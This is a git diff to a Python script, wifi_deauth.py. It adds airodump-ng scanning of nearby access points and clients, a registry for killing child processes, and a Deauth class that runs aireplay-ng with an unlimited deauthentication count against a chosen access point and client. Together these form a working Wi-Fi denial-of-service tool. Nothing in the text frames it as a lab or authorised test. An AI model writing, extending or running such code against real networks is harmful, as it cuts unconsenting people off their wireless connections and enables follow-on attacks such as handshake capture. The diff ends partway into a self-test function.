diff --git a/wifi_deauth.py b/wifi_deauth.py
index 1a64ef8..a35d667 100644
--- a/wifi_deauth.py
+++ b/wifi_deauth.py
@@ -1,12 +1,48 @@
 #!/usr/bin/env python3
-"""CSV parsing, interface discovery, and monitor-mode + card-state handling."""
+"""Wireless plumbing: interface discovery, monitor mode, card-state restore,
+and tracked airodump-ng / aireplay-ng subprocesses."""
+import glob
 import os
 import re
+import shutil
 import subprocess
 import sys
 import tempfile
 import time
 
+SCAN_NET_SECS = 10
+SCAN_CLIENT_SECS = 15
+
+# --- child process registry (so "Stop & Reset" can kill mid-scan/mid-deauth) ---
+_procs = set()
+
+
+def _spawn(cmd, **kw):
+    p = subprocess.Popen(cmd, **kw)
+    _procs.add(p)
+    return p
+
+
+def _reap(p):
+    _procs.discard(p)
+
+
+def kill_all_children():
+    for p in list(_procs):
+        try:
+            if p.poll() is None:
+                p.terminate()
+        except Exception:
+            pass
+    time.sleep(0.5)
+    for p in list(_procs):
+        try:
+            if p.poll() is None:
+                p.kill()
+        except Exception:
+            pass
+        _procs.discard(p)
+
 
 def run(cmd, timeout=30):
     return subprocess.run(cmd, capture_output=True, text=True, timeout=timeout)
@@ -96,6 +132,7 @@ def enable_monitor(state):
 def reset_card(state):
     if not state:
         return
+    kill_all_children()
     if state.mon_iface and state.used_airmon:
         run(["airmon-ng", "stop", state.mon_iface])
     names = {i["iface"]: i for i in list_wifi_interfaces()}
@@ -112,6 +149,34 @@ def reset_card(state):
         run(["systemctl", "start", "NetworkManager"])
 
 
+def airodump_scan(mon_iface, secs, bssid=None, channel=None):
+    tmpdir = tempfile.mkdtemp(prefix="wifiscan_")
+    prefix = os.path.join(tmpdir, "dump")
+    cmd = ["airodump-ng", "-w", prefix, "--output-format", "csv", "--write-interval", "1"]
+    if bssid:
+        cmd += ["--bssid", bssid]
+    if channel:
+        cmd += ["-c", str(channel)]
+    cmd += [mon_iface]
+    p = _spawn(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
+    # fixed scan duration is a naive heuristic; longer = more results.
+    t0 = time.time()
+    while time.time() - t0 < secs and p.poll() is None:
+        time.sleep(0.3)
+    p.terminate()
+    try:
+        p.wait(timeout=5)
+    except subprocess.TimeoutExpired:
+        p.kill()
+    _reap(p)
+    csvs = sorted(glob.glob(prefix + "*.csv"))
+    aps, stations = ([], [])
+    if csvs:
+        aps, stations = parse_airodump_csv(csvs[-1])
+    shutil.rmtree(tmpdir, ignore_errors=True)
+    return aps, stations
+
+
 def parse_airodump_csv(path):
     try:
         with open(path, encoding="utf-8", errors="replace") as f:
@@ -144,6 +209,30 @@ def parse_airodump_csv(path):
     return aps, stations
 
 
+class Deauth:
+    def __init__(self):
+        self.proc = None
+
+    def start(self, mon_iface, bssid, client):
+        cmd = ["aireplay-ng", "--deauth", "0", "-a", bssid, "-c", client, mon_iface]
+        self.proc = _spawn(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
+
+    def stop(self):
+        p = self.proc
+        if p and p.poll() is None:
+            p.terminate()
+            try:
+                p.wait(timeout=5)
+            except subprocess.TimeoutExpired:
+                p.kill()
+        if p:
+            _reap(p)
+        self.proc = None
+
+    def running(self):
+        return self.proc is not None and self.proc.poll() is None
+
+
 def _selftest():
     sample = (
         "BSSID, First time seen, Last time seen, channel, Speed, Privacy, Cipher, "